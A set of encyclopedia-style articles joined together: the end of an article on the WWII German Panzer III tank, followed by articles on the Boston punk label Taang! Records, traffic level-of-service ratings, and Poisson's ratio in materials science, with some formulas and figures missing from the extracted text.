With the appearance of the T-34 and KV-1/-2 tanks, rearming the Panzer III with a longer-barrelled and more powerful gun was prioritised. The T-34 was generally invulnerable in frontal combat engagements with the Panzer III until the 50 mm KwK 39 L/60 tank gun was introduced on the Panzer III Ausf. J beginning in the spring of 1942 (this tank gun was based on the infantry's 50 mm Pak 38 L/60 towed anti-tank gun). This could penetrate the T-34's heavy sloped armour frontally at ranges under . Against the KV class of heavy breakthrough tanks, the Panzer III was a significant threat if it was armed with special high-velocity tungsten-tipped armour-piercing (AP) rounds. In addition, to counter enemy anti-tank rifles, starting from 1943, the Ausf. L version began the use of spaced armour sideskirts and screens (known as Schürzen in German) around the turret and on the vulnerable hull-sides. However, due to the introduction of the upgunned and better armoured Panzer IV, the Panzer III was, after the German defeat at the Battle of Kursk in the summer of 1943, relegated to secondary/minor combat roles, such as tank-training, and it was finally replaced as the main German medium tank by the Panzer IV and the Panzer V Panther.
The Panzer III's strong, reliable and durable chassis was the basis for the turretless Sturmgeschütz III assault gun/tank destroyer, one of the most successful self-propelled guns of the war, as well as being the single most-produced German armoured fighting vehicle design of World War II.
By the end of the war in 1945, the Panzer III saw almost no frontline use, and many of them had been returned to the few remaining armaments/tank factories for conversion into StuG III assault guns, which were in high demand due to the defensive style of warfare adopted by the German Army by then. A few other variants of the Panzer III were also experimented on and produced by German industries towards the last phases of the war, but few were mass-produced or even see action against the encroaching enemy forces of the Americans, British and Soviets.
Foreign users
In 1943, Turkey received 22 Panzer III Ausf. Ms, with Hitler hoping the country, militarily strengthened by Nazi Germany, could possibly threaten the Soviet Union from its southern border (in any case, neutral Turkey did not participate in any form of aggression towards the USSR or the Western Allies, and eventually declared war on Nazi Germany nearing the end of WWII instead, perhaps from Allied pressure). The Army of the Independent State of Croatia received 4 Ausf. N variants in the spring of 1944 and the Ustashe Militia received 20 other Ausf. Ns in the autumn of 1944. Romania received a number of Panzer III Ausf. Ns for its 1st Armored Division in 1943. They were called T-3 in the Romanian army. At least 2 of them were still operational in 1945.
Norway used leftover stocks of ex-German Panzer IIIs (along with similar Sturmgeschütz III assault guns/tank destroyers) abandoned by departing Nazi occupation forces at the end of WWII up until the 1950s. In the Soviet Union, the Panzer III was one of the more common captured Nazi tanks they operated, as with the Panzer IV. At least 200, together with some StuG IIIs, fell into Soviet hands following the German defeat at the Battle of Stalingrad. The Soviets decided to upgun these captured German vehicles and two resulting designs were produced: the SG-122 self-propelled howitzer and the SU-76i assault gun. The former was not well-designed and was only built in very small numbers, with most not seeing combat action at all, while the latter was regarded as a better option of a Panzer III-based assault vehicle with a larger 75mm main gun. Aside from these locally designed variants of the Panzer III, the Soviets primarily tended to use them as their basic tank version, mainly used as second-line tanks, for reconnaissance and as mobile command posts.
The Japanese government bought two Panzer IIIs from their German allies during the war (one 50 mm and one 75 mm). Purportedly this was for reverse engineering purposes, since Japan put more emphasis on the development of new military aircraft and naval technology and had been dependent on European influence in designing new tanks. By the time the vehicles were delivered, the Panzer III's technology was obsolete.
Variants and production
Panzer III Ausf. A - Prototype 15 ton vehicle; only 8 armed and saw service in Poland. Armed with 3.7 cm KwK 36 L/46.5 main gun and two coaxial 7.92 mm MG34 machine guns, and had a 250 PS HL 108 engine. Entered service in 1937 and taken out of service in 1940. It had a FuG 5 radio and a 360° hand-cranked turret.
Panzer III Ausf. B - Prototype 15 ton vehicle; some saw service in Poland. Entered service in 1937 and put out of service in 1940. They were reused as a training vehicle after 1940. They had slightly thicker armour, and an eight-wheel suspension rather than the five-wheel suspension with coil springs.
Panzer III Ausf. C - Prototype 16-ton vehicle; some saw service in Poland, but were put out of service soon after. Slightly different suspension, which used leaf springs, than previous models.
Panzer III Ausf. D - Prototype; some saw service in Poland and Norway, but withdrawn from service soon after. Turret upgraded to 30 mm front, side and back. Hull armour remained the same. Hull rear was redesigned, and five vision slits added to the hull. Suspension slightly changed.
Panzer III Ausf. E - Fifth version of the Panzer III with armour all-round, other than the rear of the vehicle, which increased the weight to . Suspension redesigned, switching from leaf-springs to torsion-bars, now using six larger roadwheels per side. Had a 300 PS HL 120 engine.
Panzer III Ausf. F - improved Ausf. E, first mass-production version, late production armed with 5 cm KwK 38 L/42 main gun.
Panzer III Ausf. G - Ausf F. with extra armour on the gun mantlet, late production armed with 5 cm KwK 38 L/42 main gun.
Panzer III Ausf. H - 5 cm KwK 38 L/42 as standard gun. Bolt-on armour added to front and rear hull (30 mm base + 30 mm plates).
Panzer III Ausf. I - A variant that was mentioned by Allied intelligence, but never existed. Possibly confused with the Ausf. J.
Panzer III Ausf. J - The most common variant of the Panzer III, which served in North Africa and the Eastern Front. Hull and turret front armour increased to solid 50 mm plate. Spaced armour was placed around the gun mantlet. Some were produced with 5 cm KwK 39 L/60 gun and later redesignated Ausf. L.
Panzer III Ausf. K - Panzerbefehlswagen command tank variant based on the Ausf. M with a modified turret. Carried actual main armament rather than a dummy gun as found on other Panzer III command versions.
Panzer III Ausf. L - Redesignated Ausf. J equipped with long 5 cm gun, 20 mm stand-off armour plates on hull and turret front. It was also equipped with a new system for transferring heated engine coolant to another vehicle.
Panzer III Ausf. M - Minor modifications of the ausf. L such as deep-wading exhaust and Schürzen side-armour panels.
Panzer III Ausf. N - Infantry support tank, armed with a short-barrelled 7.5 cm KwK 37 L/24 gun. 700 were produced or re-equipped from 1942 and 1943.
Designs based on chassis
Panzerbeobachtungswagen III - Forward artillery observer tank. 262 converted from older Panzer III Ausf. E to H variants.
Bergepanzer III - In 1944, 176 Panzer IIIs were converted to armoured recovery vehicles (ARVs). Mostly issued to formations with Tiger I heavy tanks.
Flammpanzer III Ausf. M / Panzer III (Fl) - Flamethrower tank. 100 built on new Ausf. M chassis.
Panzerbefehlswagen III - Command tank with long-range radios. Ausf. D, E and H: variants with dummy main guns; Ausf. J and K: types armed with actual 5 cm gun.
Sturm-Infanteriegeschütz 33B' - An infantry close-support heavy assault gun. Armed with a 15 cm sIG 33 infantry gun, total of 24 built. 12 used and lost in Stalingrad.
Sturmgeschütz III - Assault gun/tank destroyer armed with a gun. Was the most produced German armored fighting vehicle during World War II.
Sturmhaubitze 42 - Was an assault howitzer with thicker frontal armor and Schürzen that was armed with a modified variant of the 10.5 cm leFH 18 howitzer, that was electrically fired and fitted with a muzzle brake. Alkett produced 1,299 StuH 42 from March 1943 to 1945.
The Soviet SU-76i assault gun was based on the chassis of captured German Panzer IIIs and StuG IIIs after the Battle of Stalingrad in 1943. About 201 of these vehicles, many taken from Stalingrad itself, were converted at Factory No. 37 in Sverdlovsk that same year for Red Army service by removing the turret and constructing a fixed casemate in its place, installing a S-1 tank gun (a cheaper version of the F-34 on the T-34 tank) in a limited-traverse gun mount. The armour was thick on the casemate front, in the hull front, and on the hull sides. It was issued to tank and self-propelled gun units starting in the fall of 1943, and finally withdrawn to training and testing uses in early 1944. Two SU-76is survive: one on a monument in the Ukrainian town of Sarny and a second on display in a military museum on Poklonnaya Hill in Moscow. It should not be confused with the similarly-named Soviet SU-76 assault gun series.
Tauchpanzer III - (Dive-tank III) Some tanks were converted to amphibious tanks for Operation Sea Lion. Unusually, they were designed to be able to stay underwater rather than to float like most other similar kinds of tanks. The idea was that they would be launched near to the invasion shoreline and then drive to dry land on the sea-bottom. The tank was totally waterproofed, the exhaust was fitted with a one-way valve and air intake for the engine and the crew compartment was through a hose.
Munitionspanzer III - Some Panzer IIIs were converted into munitions carriers/tractors from obsolete Mk III hulls, simply by removing the turret. Several examples have been photoed supplying Tiger tank units.
Flakpanzer III
See also
Comparison of early World War II tanks
Panzer III/IV
Tanks of comparable role, performance and era
Valentine tank : British equivalent
M3 Lee : American equivalent
T-34 : Soviet equivalent medium tank
T-50 : Soviet equivalent light tank
Type 97 Chi-Ha and Type 1 Chi-He : Japanese equivalent
LT vz. 38 (designated Panzer 38(t) by the Germans) : Czechoslovak equivalent
Notes
References
Citations
Bibliography
Gander, Terry J. Tanks in Detail; PzKpfw III Ausf A to N .
External links
AFV Database
Surviving Panzer III tanks - A PDF file presenting the Panzer III tanks (PzKpfw. III, Flammpanzer III, StuIG33B, SU-76i, Panzerbeobachtungswagen III tanks) still existing in the world
Panzer III in Kubinka tank museum
Medium tanks of Germany
World War II tanks of Germany
World War II medium tanks
History of the tank
Military vehicles introduced in the 1930s | [
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241219 | https://en.wikipedia.org/wiki/Taang%21%20Records | Taang! Records | Taang! Records is an independent record label with a roster of hardcore punk, punk rock, Oi!, power pop, ska, indie rock, psychedelic, and ambient artists and bands founded by Curtis Casella in Boston, Massachusetts in 1983.
History
Taang! Records started as a singles-only label, recording acts in Boston's early hardcore and punk scene such as Gang Green, Negative FX, the Mighty Mighty Bosstones, and The Lemonheads. The name is an acronym for the phrase "Teen Agers Are No Good!" The label gained prominence with the rise of Boston hardcore in the punk culture of the 1980s which had strong ties to the scene in nearby Washington D.C. the strong popularity of the 45 rpm format in the punk and indie underground scene, and the strong network of independent distribution, zines, retail outlets, and college radio stations that had already developed around the format. By the early 1990s, the label developed close ties to the punk scene in Southern California and moved its headquarters to San Diego, where it remains. Today, the Taang! catalogue includes over 200 releases in multiple formats, with international distribution.
1983 to 1993
Curtis Casella, a Boston native, started Taang! to promote the burgeoning Boston hardcore punk scene.
“In the early 80's, frustrated with the scene in Boston with all the greatest bands in the USA I felt that there should a place they could call home. No one else was doing it. Washington, DC had Dischord, UK. had No Future, Clay & Secret and Crass, LA had SST, Boston needed Taang!" The label's first full-length release was Negative FX's self-titled album, which was recorded in 1982.
In 1986, Taang! Released five vinyl titles: Burning in Water by Moving Targets, Back on the Map by Slapshot, Another Wasted Night by Gang Green, the 7-inch Mine Caroline by The Oysters, and a bonus 7-inch by The Lemonheads. Gang Green's Another Wasted Night spawned three videos that received MTV play, and their non-stop tour propelled sales of their release to upwards of 30,000 units. The label achieved wide airplay on college radio stations with releases from The Lemonheads and Bullet LaVolta, and expanded its repertoire to include acts with a more diverse sound such as Poison Idea, The Mighty Mighty Bosstones, Swirlies and Spacemen 3.
In 1992, Taang! produced an archival release of early material from San Diego hardcore band Battalion of Saints. Casella, who had been dividing his time between Los Angeles and Boston, moved the label's headquarters to Mission Beach, San Diego and simultaneously opened a retail outlet in Hollywood. Shortly after moving to San Diego, Taang! issued two releases by local ska band Buck-O-Nine (the album Barfly and the EP Water In My Head), which was spurred on by a national tour in support of the ska band The Specials.
1994 to 1999
In the mid- to late 1990s, there were no new signings, as the label focused mainly on archival releases by bands such as: Cock Sparrer - four releases, The Adicts - three releases, The Business - four releases, The Exploited - two releases, The Boys - two releases, Last Resort, The Ruts, Slaughter and The Dogs, and Stiff Little Fingers two releases, a total of twenty-three releases over five years.
2001 to 2006
While operating in California, the label continued its focus on Boston-based bands.
Full catalogue releases were produced for the Proletariat, Bruisers and The F.U.s. Bands such as Gang Green, Slapshot and Poison Idea, which had previously left Taang! for other labels returned, each producing new releases for the label.
2007 to 2012
In 2007, the label started to sign more new bands, including Everybody Out!, featuring Rick Barton of Dropkick Murphys, Bill Close from The Freeze and Sweeney Todd from The Dead Pets as well as Southern California's Evacuate, led by Mike Virus of Cheap Sex and The Virus, who released their debut in 2009. Taang! also released a DVD from Cheap Sex from San Diego.
An addition to the label in this period was Negative Approach. Marking the label's 200th release was their work Friends of No One, a lost six-song recording from 1984 that was discovered in 2009 in a basement in Detroit. Taang!'s next released Nothing Will Stand In Our Way, a full album by the band, which focused on its earliest recordings (a total of 53 songs).
In 2011 the label released works by two legendary bands from the San Francisco Bay area – Attitude Adjustment and Part Time Christians. Both releases contained the bands' complete recorded works and were released digitally as well as on vinyl editions.
Attitude Adjustment released a new recording entitled No Way Back in 2012.
2013 to present
In 2013, the label announced plans to release a series of more than fifty vinyl records from its catalogue over the span of 10 years. In April 2014, the label released The First 10 Singles 1984-88, 7" Vinyl Box Set to celebrate the Boston-based punk label's 30th anniversary. Included in the boxset were ten seven-inch discs. Each disc included a full re-creation of the original jacket except for the Oysters which was redone for this box set There was also a 24-song CD that combined all of the musical selections. This vinyl boxset was limited to 2,000 numbered copies. The bands featured were Gang Green, Last Rights, Stranglehold, Noonday, Underground, Last Stand, Negative FX, Oysters, Lemonheads, Moving Targets, and Slapshot. There are plans to release the singles box set as a LP version as well as a CD in 2021.
Artists
The Adicts
Anti-Heros
Attitude Adjustment
Battalion of Saints
Ben Deily
The Boys
The Bruisers
Buck-O-Nine
Bullet LaVolta
The Business
Brandon Cruz
Ken Chambers
Cheap Sex
Cock Sparrer
D.Y.S.
The Dickies
Dicky B Hardy
Dropkick Murphys
Evacuate
Everybody Out!
The Exploited
Eye For An Eye
The F.U.'s
Forced Reality
The Freeze
The 4-Skins
Gang Green
Hard-Ons
Jerry's Kids
Kilslug
Last Resort
Last Rights
Last Stand
The Lemonheads
Keith Levene
Lyres
Maelstrom
Menace
The Mighty Mighty Bosstones
Mission of Burma
Moving Targets
Negative Approach
Negative FX
The Newtown Neurotics
Oysters
Part Time Christians
Poison Idea
The Proletariat
Rat City Riot
Reverberation
The Ruts
Sam Black Church
Seka
Slapshot
Slaughter & The Dogs
Sloppy Seconds
Spacemen 3
Spore
SSD
Stars & Stripes
Stiff Little Fingers
Stranglehold
Swirlies
The Titanics
Upsidedown Cross
The Worthless
See also
List of record labels
References
External links
Taang! Records at Discog.com
Punk record labels
Record labels established in 1984
Ska record labels | [
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241221 | https://en.wikipedia.org/wiki/Level%20of%20service%20%28transportation%29 | Level of service (transportation) | Level of service (LOS) is a qualitative measure used to relate the quality of motor vehicle traffic service. LOS is used to analyze roadways and intersections by categorizing traffic flow and assigning quality levels of traffic based on performance measure like vehicle speed, density, congestion, etc. In a more general sense, levels of service can apply to all services in asset management domain.
Level-of-Service in the United States of America
The following section pertains to only North American highway LOS standards as in the Highway Capacity Manual (HCM) and AASHTO Geometric Design of Highways and Streets ("Green Book"), using letters A through F, with A being the best and F being the worst, similar to academic grading.
A: free flow. Traffic flows at or above the posted speed limit and motorists have complete mobility between lanes. The average spacing between vehicles is about 550 ft(167m) or 27 car lengths. Motorists have a high level of physical and psychological comfort. The effects of incidents or point breakdowns are easily absorbed. LOS A generally occurs late at night in urban areas and frequently in rural areas.
B: reasonably free flow. LOS A speeds are maintained, maneuverability within the traffic stream is slightly restricted. The lowest average vehicle spacing is about 330 ft(100 m) or 16 car lengths. Motorists still have a high level of physical and psychological comfort.
C: stable flow, at or near free flow. The ability to maneuver through lanes is noticeably restricted and lane changes require more driver awareness. Minimum vehicle spacing is about 220 ft(67 m) or 11 car lengths. Most experienced drivers are comfortable, roads remain safely below but efficiently close to capacity, and posted speed is maintained. Minor incidents may still have no effect but localized service will have noticeable effects and traffic delays will form behind the incident. This is the target LOS for some urban and most rural highways.
D: approaching unstable flow. Speeds slightly decrease as traffic volume slightly increases. Freedom to maneuver within the traffic stream is much more limited and driver comfort levels decrease. Vehicles are spaced about 160 ft(50m) or 8 car lengths. Minor incidents are expected to create delays. Examples are a busy shopping corridor in the middle of a weekday, or a functional urban highway during commuting hours. It is a common goal for urban streets during peak hours, as attaining LOS C would require prohibitive cost and societal impact in bypass roads and lane additions.
E: unstable flow, operating at capacity. Flow becomes irregular and speed varies rapidly because there are virtually no usable gaps to maneuver in the traffic stream and speeds rarely reach the posted limit. Vehicle spacing is about 6 car lengths, but speeds are still at or above 50 mi/h(80 km/h). Any disruption to traffic flow, such as merging ramp traffic or lane changes, will create a shock wave affecting traffic upstream. Any incident will create serious delays. Drivers' level of comfort becomes poor. This is a common standard in larger urban areas, where some roadway congestion is inevitable.
F: forced or breakdown flow. Every vehicle moves in lockstep with the vehicle in front of it, with frequent slowing required. Travel time cannot be predicted, with generally more demand than capacity. A road in a constant traffic jam is at this LOS, because LOS is an average or typical service rather than a constant state. For example, a highway might be at LOS D for the AM peak hour, but have traffic consistent with LOS C some days, LOS E or F others, and come to a halt once every few weeks.
Most design or planning efforts typically use service flow rates at LOS C or D, to ensure an acceptable operating service for facility users.
Multimodal LOS
The 2010 HCM incorporates tools for multimodal analysis of urban streets to encourage users to consider the needs of all travelers. Stand-alone chapters for the bicycle, pedestrian, and transit have been eliminated, and methods applicable to them have been incorporated into the analyses of the various roadway facilities.
The primary basis for the new multimodal procedures is NCHRP Report 616: Multimodal Level of Service Analysis for Urban Streets. This research developed and calibrated a method for evaluating the multimodal LOS (MMLOS) provided by different urban street designs and operations. This method is designed for evaluating “complete streets,” context-sensitive design alternatives, and smart growth from the perspective of all users of the street. It is used to evaluate the tradeoffs of various street designs in terms of their effects on the perception of auto drivers, transit passengers, bicyclists, and pedestrians of the quality of service provided by the street.
LOS for At-Grade Intersections
The HCM defines LOS for signalized and unsignalized intersections as a function of the average vehicle control delay. LOS may be calculated per movement or per approach for any intersection configuration, but LOS for the intersection as a whole is only defined for signalized and all-way stop configurations.
When analyzing unsignalized intersections that are not all-way stop-controlled, each possible movement is considered individually. Each movement has a rank. Rank 1 movements have priority over rank 2 movements, and so on. The rank of each movement is as follows, with the major road being the road whose through movement moves freely, the minor road being controlled by stop signs. As for vehicular movements that conflict with pedestrian movements of the same rank, pedestrians have priority:
through movements on the major road, parallel pedestrian movements, and right turns from the major road. LOS for movements of this rank is trivial, because LOS is determined by control delay. These are "free" movements, and the control delay is always zero.
includes left turns from the major road.
includes through movements on the minor road, parallel pedestrian movements, and right turns from the minor road.
includes left turns from the minor road.
Movements are analyzed in order of rank, and any capacity that is left over from one rank devolves onto the next rank. Because of this pecking order, depending on intersection volumes there may be no capacity for lower-ranked movements.
Modern Roundabouts
The 2000 HCM provides skeleton coverage of modern roundabouts, but does not define LOS: the measure of effectiveness is the quotient of the volume to the capacity. A modern roundabout in the United States is a roundabout in which traffic inside the circle always has priority. Entering traffic is controlled by a yield sign.
LOS in other Transportation Network Elements
Performance of other transportation network elements can also be communicated by LOS. Among them are:
Two-lane roadways (uninterrupted flow)
Multilane roadways (4 or more lanes) (uninterrupted flow)
Open freeway segments
Freeway entrances (merges), exits (diverges), and weaving lanes
Bicycle facilities (measure of effectiveness: events per hour; events include meeting an oncoming bicyclist or overtaking a bicyclist traveling in the same direction)
Pedestrian facilities (HCM measure of effectiveness: pedestrians per unit area)
Theoretical Considerations
The LOS concept was first developed for highways in an era of rapid expansion in the use and availability of the private motor car. The primary concern was congestion, and it was commonly held that only the rapid expansion of the freeway network would keep congestion in check.
Since then, some professors in urban planning schools have proposed measurements of LOS that take public transportation into account. Such systems would include wait time, frequency of service, time it takes to pay fares, quality of the ride, accessibility of depots, and perhaps other criteria.
LOS can also be applied to surface streets, to describe major signalized intersections. A crowded four-way intersection where the major traffic movements were conflicting turns might have an LOS D or E. At intersections, queuing time can be used as a rubric to measure LOS; computer models given the full movement data can spit out a good estimate of LOS.
While it may be tempting to aim for an LOS A, this is unrealistic in urban areas. Urban areas more typically adopt standards varying between C and E, depending on the area's size and characteristics, while F is sometimes allowed in areas with improved pedestrian, bicycle, or transit alternatives. More stringent LOS standards (particularly in urban areas) tend to necessitate the widening of roads to accommodate development, thus discouraging use by these alternatives. Because of this, some planners recommend increasing population density in towns, narrowing streets, managing car use in some areas, providing sidewalks and safe pedestrian and bicycle facilities, and making the scenery interesting for pedestrians.
An LOS standard has been developed by John J. Fruin for pedestrian facilities. The standard uses American units and applies to pedestrian queues, walkways, and stairwells. This standard is not considered a good measure of pedestrian facilities by the planning or engineering professions, because it rates undesirable (and hence unused) sidewalks with an LOS A, while pedestrians tend to prefer active, interesting sidewalks, where people prefer to walk (but rate a worse LOS on this scale). To rectify this and other issues, The National Cooperative Highway Research Program (NCHRP) is conducting a project to enhance methods to determine LOS for automobiles, transit, bicycles, and pedestrians on urban streets, with particular consideration to intermodal interactions. Similarly, Transport for London's Pedestrian Comfort Guidance for London (2010/2019) "goes further than existing measures such as Fruin Level of Service which simply assess crowding. [The London guidance] is based on comfort and takes into account user perceptions as well as observed behaviours".
Walking
Queuing
Stairs
The A to F scale deals only with delays and service reliability. These delays are typically caused by congestion, breakdowns or infrequent service. It assumes there is a service in place that people can use. It also implies that poor LOS can be solved by increased capacity such as additional lanes or overcoming bottlenecks, and in the case of transit, more buses or trains. It does not deal for instance with cases where there is no bridge across a river, no bus or train service, no sidewalks, or no bike-lanes.
An expanded LOS might look like:
0 - No service exists. Latent demand may exist.
1 - Service is poor, unsafe or discouraging. Demand is suppressed below socially desirable levels.
A-F - As per existing LOS scale.
G - Further expansion of capacity is limited.
H - No expansion is possible. Radical or innovative solutions are required
LOS in the United Kingdom of Great Britain and Northern Ireland
The LOS measure is much more suited to American roads than roads in Europe and the UK, but the HCM is used. The technique is in UK textbooks but is sparingly used. The individual countries of the UK have different bodies for each area's roads, and detailed techniques and applications vary in Scotland, England and Wales, but in general the practice is the same.
Rural and urban roads are in general much busier than in the U.S, and service levels tend to be to the higher end of the scale, especially in peak commuting periods. It is acceptable for roads to operate at 85% capacity, which equates to LOS D and E.
In general, the principle is to take the volume of traffic in one hour and divide by the appropriate capacity of the road type to get a v/c rating, which can be cross-referenced to the textbooks with tables of v/c ratings and their equivalent LOS ratings. The lack of definitive categories towards LOS D, E and F limit the use, like a D or E category on an urban road, would be acceptable.
In certain circumstances, the UK shortens the LOS categories to just A-D. A and B indicate free-movement of traffic (i.e. under 85% capacity), C reaching capacity 85%-100%, D over capacity. Little reference to this can be found in textbooks and it may just be an 'unwritten engineering practice', agreed with certain authorities.
LOS in the Commonwealth of Australia
In Australia LOS are an integral component of Asset Management Plans, defined as the service quality for a given activity. LOS are often documented as a commitment to carry out a given action or actions within a specified time frame in response to an event or asset condition data.
Refer Austroads Guide to Traffic Management Part 3 for a comprehensive explanation.
References
Transportation engineering | [
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241223 | https://en.wikipedia.org/wiki/Poisson%27s%20ratio | Poisson's ratio | In materials science and solid mechanics, Poisson's ratio (nu) is a measure of the Poisson effect, the deformation (expansion or contraction) of a material in directions perpendicular to the specific direction of loading. The value of Poisson's ratio is the negative of the ratio of transverse strain to axial strain. For small values of these changes, is the amount of transversal elongation divided by the amount of axial compression. Most materials have Poisson's ratio values ranging between 0.0 and 0.5. For soft materials, such as rubber, where the bulk modulus is much higher than the shear modulus, Poisson's ratio is near 0.5. For open-cell polymer foams, Poisson's ratio is near zero, since the cells tend to collapse in compression. Many typical solids have Poisson's ratios in the range of 0.2-0.3. The ratio is named after the French mathematician and physicist Siméon Poisson.
Origin
Poisson's ratio is a measure of the Poisson effect, the phenomenon in which a material tends to expand in directions perpendicular to the direction of compression. Conversely, if the material is stretched rather than compressed, it usually tends to contract in the directions transverse to the direction of stretching. It is a common observation when a rubber band is stretched, it becomes noticeably thinner. Again, the Poisson ratio will be the ratio of relative contraction to relative expansion and will have the same value as above. In certain rare cases, a material will actually shrink in the transverse direction when compressed (or expand when stretched) which will yield a negative value of the Poisson ratio.
The Poisson's ratio of a stable, isotropic, linear elastic material must be between −1.0 and +0.5 because of the requirement for Young's modulus, the shear modulus and bulk modulus to have positive values. Most materials have Poisson's ratio values ranging between 0.0 and 0.5. A perfectly incompressible isotropic material deformed elastically at small strains would have a Poisson's ratio of exactly 0.5. Most steels and rigid polymers when used within their design limits (before yield) exhibit values of about 0.3, increasing to 0.5 for post-yield deformation which occurs largely at constant volume. Rubber has a Poisson ratio of nearly 0.5. Cork's Poisson ratio is close to 0, showing very little lateral expansion when compressed and glass is between 0.18 and 0.30. Some materials, e.g. some polymer foams, origami folds, and certain cells can exhibit negative Poisson's ratio, and are referred to as auxetic materials. If these auxetic materials are stretched in one direction, they become thicker in the perpendicular direction. In contrast, some anisotropic materials, such as carbon nanotubes, zigzag-based folded sheet materials, and honeycomb auxetic metamaterials to name a few, can exhibit one or more Poisson's ratios above 0.5 in certain directions.
Assuming that the material is stretched or compressed in only one direction (the x axis in the diagram below):
where
is the resulting Poisson's ratio,
is transverse strain (positive for tension, negative for compression),
is axial strain (positive for tension, negative for compression).
Poisson's ratio from geometry changes
Length change
For a cube stretched in the x-direction (see Figure 1) with a length increase of in the x direction, and a length decrease of in the y and z directions, the infinitesimal diagonal strains are given by
If Poisson's ratio is constant through deformation, integrating these expressions and using the definition of Poisson's ratio gives
Solving and exponentiating, the relationship between and is then
For very small values of and , the first-order approximation yields:
Volumetric change
The relative change of volume ΔV/V of a cube due to the stretch of the material can now be calculated. Using and :
Using the above derived relationship between and :
and for very small values of and , the first-order approximation yields:
For isotropic materials we can use Lamé's relation
where is bulk modulus and is Young's modulus.
Width change
If a rod with diameter (or width, or thickness) d and length L is subject to tension so that its length will change by ΔL then its diameter d will change by:
The above formula is true only in the case of small deformations; if deformations are large then the following (more precise) formula can be used:
where
is original diameter
is rod diameter change
is Poisson's ratio
is original length, before stretch
is the change of length.
The value is negative because it decreases with increase of length
Characteristic materials
Isotropic
For a linear isotropic material subjected only to compressive (i.e. normal) forces, the deformation of a material in the direction of one axis will produce a deformation of the material along the other axis in three dimensions. Thus it is possible to generalize Hooke's Law (for compressive forces) into three dimensions:
where:
, and are strain in the direction of , and axis
, and are stress in the direction of , and axis
is Young's modulus (the same in all directions: , and for isotropic materials)
is Poisson's ratio (the same in all directions: , and for isotropic materials)
these equations can be all synthesized in the following:
In the most general case, also shear stresses will hold as well as normal stresses, and the full generalization of Hooke's law is given by:
where is the Kronecker delta. The Einstein notation is usually adopted:
to write the equation simply as:
Anisotropic
For anisotropic materials, the Poisson's ratio depends on the direction of extension and transverse deformation
Here is Poisson's ratio, is Young's modulus, is unit vector directed along the direction of extension, is unit vector directed perpendicular to the direction of extension. Poisson's ratio has a different number of special directions depending on the type of anisotropy.
Orthotropic
Orthotropic materials have three mutually perpendicular planes of symmetry in their material properties. An example is wood, which is most stiff (and strong) along the grain, and less so in the other directions.
Then Hooke's law can be expressed in matrix form as
where
is the Young's modulus along axis
is the shear modulus in direction on the plane whose normal is in direction
is the Poisson's ratio that corresponds to a contraction in direction when an extension is applied in direction .
The Poisson's ratio of an orthotropic material is different in each direction (x, y and z). However, the symmetry of the stress and strain tensors implies that not all the six Poisson's ratios in the equation are independent. There are only nine independent material properties: three elastic moduli, three shear moduli, and three Poisson's ratios. The remaining three Poisson's ratios can be obtained from the relations
From the above relations we can see that if then . The larger Poisson's ratio (in this case ) is called the major Poisson's ratio while the smaller one (in this case ) is called the minor Poisson's ratio. We can find similar relations between the other Poisson's ratios.
Transversely isotropic
Transversely isotropic materials have a plane of isotropy in which the elastic properties are isotropic. If we assume that this plane of isotropy is , then Hooke's law takes the form
where we have used the plane of isotropy to reduce the number of constants, i.e., .
The symmetry of the stress and strain tensors implies that
This leaves us with six independent constants . However, transverse isotropy gives rise to a further constraint between and which is
Therefore, there are five independent elastic material properties two of which are Poisson's ratios. For the assumed plane of symmetry, the larger of and is the major Poisson's ratio. The other major and minor Poisson's ratios are equal.
Poisson's ratio values for different materials
Negative Poisson's ratio materials
Some materials known as auxetic materials display a negative Poisson's ratio. When subjected to positive strain in a longitudinal axis, the transverse strain in the material will actually be positive (i.e. it would increase the cross sectional area). For these materials, it is usually due to uniquely oriented, hinged molecular bonds. In order for these bonds to stretch in the longitudinal direction, the hinges must ‘open’ in the transverse direction, effectively exhibiting a positive strain.
This can also be done in a structured way and lead to new aspects in material design as for mechanical metamaterials.
Studies have shown that certain solid wood types display negative Poisson's ratio exclusively during a compression creep test. Initially, the compression creep test shows positive Poisson's ratios, but gradually decreases until it reaches negative values. Consequently, this also shows that Poisson's ratio for wood is time-dependent during constant loading, meaning that the strain in the axial and transverse direction do not increase in the same rate.
Media with engineered microstructure may exhibit negative Poisson's ratio. In a simple case auxeticity is obtained removing material and creating a periodic porous media. Lattices can reach lower values of Poisson's ratio, which can be indefinitely close to the limiting value −1 in the isotropic case.
More than three hundred crystalline materials have negative Poisson's ratio. For example, Li, Na, K, Cu, Rb, Ag, Fe, Ni, Co, Cs, Au, Be, Ca, Zn Sr, Sb, MoS and other.
Poisson function
At finite strains, the relationship between the transverse and axial strains and is typically not well described by the Poisson's ratio. In fact, the Poisson's ratio is often considered a function of the applied strain in the large strain regime. In such instances, the Poisson's ratio is replaced by the Poisson function, for which there are several competing definitions. Defining the transverse stretch and axial stretch , where the transverse stretch is a function of the axial stretch (i.e., ) the most common are the Hencky, Biot, Green, and Almansi functions
Applications of Poisson's effect
One area in which Poisson's effect has a considerable influence is in pressurized pipe flow. When the air or liquid inside a pipe is highly pressurized it exerts a uniform force on the inside of the pipe, resulting in a hoop stress within the pipe material. Due to Poisson's effect, this hoop stress will cause the pipe to increase in diameter and slightly decrease in length. The decrease in length, in particular, can have a noticeable effect upon the pipe joints, as the effect will accumulate for each section of pipe joined in series. A restrained joint may be pulled apart or otherwise prone to failure.
Another area of application for Poisson's effect is in the realm of structural geology. Rocks, like most materials, are subject to Poisson's effect while under stress. In a geological timescale, excessive erosion or sedimentation of Earth's crust can either create or remove large vertical stresses upon the underlying rock. This rock will expand or contract in the vertical direction as a direct result of the applied stress, and it will also deform in the horizontal direction as a result of Poisson's effect. This change in strain in the horizontal direction can affect or form joints and dormant stresses in the rock.
Although cork was historically chosen to seal wine bottle for other reasons (including its inert nature, impermeability, flexibility, sealing ability, and resilience), cork's Poisson's ratio of zero provides another advantage. As the cork is inserted into the bottle, the upper part which is not yet inserted does not expand in diameter as it is compressed axially. The force needed to insert a cork into a bottle arises only from the friction between the cork and the bottle due to the radial compression of the cork. If the stopper were made of rubber, for example, (with a Poisson's ratio of about 1/2), there would be a relatively large additional force required to overcome the radial expansion of the upper part of the rubber stopper.
Most car mechanics are aware that it is hard to pull a rubber hose (e.g. a coolant hose) off a metal pipe stub, as the tension of pulling causes the diameter of the hose to shrink, gripping the stub tightly. Hoses can more easily be pushed off stubs instead using a wide flat blade.
See also
Linear elasticity
Hooke's law
Impulse excitation technique
Orthotropic material
Shear modulus
Young's modulus
Coefficient of thermal expansion
References
External links
Meaning of Poisson's ratio
Negative Poisson's ratio materials
